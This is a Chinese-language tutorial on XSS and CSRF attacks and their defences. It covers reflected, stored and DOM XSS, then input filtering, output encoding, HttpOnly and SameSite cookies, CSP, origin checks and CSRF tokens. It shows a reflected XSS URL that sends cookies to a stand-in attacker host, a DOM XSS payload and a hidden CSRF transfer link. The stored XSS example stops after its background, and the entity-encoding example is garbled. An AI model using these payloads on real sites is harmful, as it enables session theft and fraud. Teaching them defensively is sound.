在网络安全领域，XSS（跨站脚本攻击）和 CSRF（跨站请求伪造）是两种常见且极具威胁的攻击形式。深入了解它们，对于保障网络应用的安全至关重要。
什么是 XSS 攻击
XSS 攻击全称为跨站脚本攻击（Cross - Site Scripting）。攻击者通过在目标网站注入恶意脚本，当用户访问该网站时，恶意脚本在用户浏览器中执行，进而实现窃取用户信息、控制用户账户等恶意目的。
XSS 攻击的类型
反射型 XSS 攻击
原理：攻击者精心构造包含恶意脚本的 URL，诱使用户点击。用户点击后，服务器接收并处理该请求，将恶意脚本作为响应内容的一部分返回给用户浏览器，浏览器执行脚本从而触发攻击，如同镜子反射光线般将脚本反射到用户端执行。
示例：
背景：小型在线搜索网站，用户输入关键词搜索，页面显示结果。网站处理搜索请求时，直接将用户输入关键词回显在结果页面特定位置，未作任何过滤编码。
攻击过程：攻击者构造恶意 URL http://example-search-site.com/search?keyword=<script>document.location='http://attacker-site.com?cookie='+document.cookie</script>，通过社交网络、邮件诱导用户点击。用户点击后，浏览器向网站发送请求，服务器未安全处理，将含恶意脚本内容作为结果页面一部分返回，浏览器执行脚本，将用户 Cookie 信息发送到攻击者网站，攻击者可利用 Cookie 冒充用户登录获取敏感信息。
存储型 XSS 攻击
原理：攻击者把恶意脚本存储在目标网站数据库中。用户访问包含该脚本的页面时，服务器从数据库读取并发送给用户浏览器，脚本得以执行。这种攻击的恶意脚本长期存储在服务器，危害所有访问相关页面的用户。
示例：
背景：假设存在一个简单的留言板网站，用户可以在该网站上发布留言，留言会被存储到网站的数据库中，并且其他用户访问留言板页面时，会看到所有的留言。
DOM 型 XSS 攻击
原理：通过修改页面 DOM 树注入恶意脚本。利用网站前端代码漏洞，操纵浏览器 DOM 对象，动态将恶意脚本插入页面并执行。与前两者不同，它不依赖服务器端响应，在客户端浏览器直接发生。
示例：
背景：电商网站有商品筛选功能，用户可修改 URL 参数筛选商品，前端代码用 JavaScript 解析 URL 参数动态更新页面内容，但未严格验证过滤参数。
攻击过程：攻击者构造恶意 URL http://example - e - commerce.com/products?category=<script>alert('Your credit card info has been stolen!')</script> 发送给用户诱导点击。用户点击后，浏览器加载页面，前端 JavaScript 解析 category 参数并插入页面特定位置更新商品分类显示，因未安全处理，浏览器执行恶意脚本，弹出警示框误导用户信用卡信息被盗，攻击者可能通过复杂脚本窃取用户敏感信息。
XSS 攻击的解决方案
输入验证与过滤
严格验证输入内容：对用户所有输入数据严格验证过滤，确保符合预期格式和范围。如数字字段只允许输入数字，邮箱字段验证格式。
使用白名单过滤：建立允许输入的字符和内容白名单，只允许符合规则的内容通过。如评论框只允许字母、数字、常见标点及特定合法字符，禁止其他可能含恶意脚本字符。
输出编码与转义
对输出内容进行编码：输出数据到网页前，对可能含特殊字符的数据编码，将特殊字符转换为 HTML 实体编码形式。如 < 转换为 <，> 转换为 >，浏览器将其作为普通文本显示。
针对不同上下文进行转义：根据数据输出上下文环境，使用相应转义方法。在 HTML 标签属性中输出需转义属性值，在 JavaScript 代码中输出要转义影响语法的字符。
设置安全响应头
启用 HTTP - only：设置 Set - Cookie 响应头中的 HttpOnly 属性，将重要 Cookie 标记为 HttpOnly。浏览器不允许 JavaScript 访问这些 Cookie，防止攻击者窃取 Cookie 冒充用户身份。
SameSite Cookie：Set-Cookie: key=value; SameSite=Strict
设置 Content - Security - Policy（CSP） ：通过设置 Content - Security - Policy 响应头，告知浏览器可信内容来源，允许加载和执行特定来源的脚本、样式表、图片等资源。如指定只允许从本站点特定目录加载脚本，禁止未知来源脚本，防止恶意脚本注入执行。
CSRF 攻击：伪装的合法请求
什么是 CSRF 攻击
CSRF（Cross - Site Request Forgery，跨站请求伪造），又称 “One Click Attack” 或 “Session Riding”。攻击者伪装成用户合法请求，利用用户已登录身份和会话，让用户在不知情下执行非本意操作，如修改密码、转账、发布恶意内容等。
CSRF 攻击案例
案例背景
用户 Alice 是银行网站 bank.com 用户，登录后浏览器生成会话 Cookie 验证身份，会话有效期内无需再次登录。Alice 常访问论坛网站 forum.com，论坛允许在帖子中嵌入 HTML 链接。
攻击过程
攻击者 Bob 在论坛发布恶意帖子，含链接 <a href="https://bank.com/transfer?to=Bob&amount=1000" style="display:none">Click here</a>，此链接是向银行网站发起转账请求 URL，将 1000 元转到 Bob 账户。Alice 访问论坛加载含恶意链接帖子时，因之前已登录银行网站且会话 Cookie 有效，浏览器自动携带 Cookie 向银行网站发送请求，银行网站根据 Cookie 验证身份，认为是 Alice 合法请求，执行转账操作，将钱转到 Bob 账户。
CSRF 攻击的防御方法
验证请求来源
同源检测：浏览器依同源策略限制请求，服务器通过验证请求来源域名是否与自身域名相同防御 CSRF 攻击。HTTP 请求头 Origin 字段携带请求来源域名，服务器检查是否匹配，不匹配则拒绝请求。
Referer 检测：Referer 字段记录请求来源页面，服务器检查是否符合预期，如是否以自身域名开头。但 Referer 字段可伪造，不能作为唯一防御手段。
双重提交 Cookie
原理：服务器设置用户登录会话 Cookie 时，同时设置随机 CSRF Cookie。用户提交请求时，服务器检查请求中 CSRF Cookie 值与请求参数或请求头中携带的 CSRF 令牌值是否一致，一致则认为请求合法。利用攻击者无法获取用户 Cookie 特点，即使构造伪造请求，也无法获取 CSRF Cookie。
实现方式：用户登录时，服务器生成随机 CSRF 令牌，同时设置为 Cookie 和存储在服务器端用户会话中。前端页面通过 JavaScript 读取 CSRF Cookie 值，作为请求参数或请求头一部分发送到服务器，服务器验证两者是否匹配。
关键类型对比
| 特征 | 反射型 XSS | DOM 型 XSS |
|---|---|---|
| 触发位置 | 服务器返回 HTML | 客户端 JS 处理 DOM |
| 数据存储 | 不存储于服务器 | 不经过服务器 |
| 检测难度 | 可通过流量分析发现 | 需代码审计 |
结语
通过案例分析与防御实践可以看出，XSS 侧重脚本注入防御，CSRF 着重请求伪造防护。
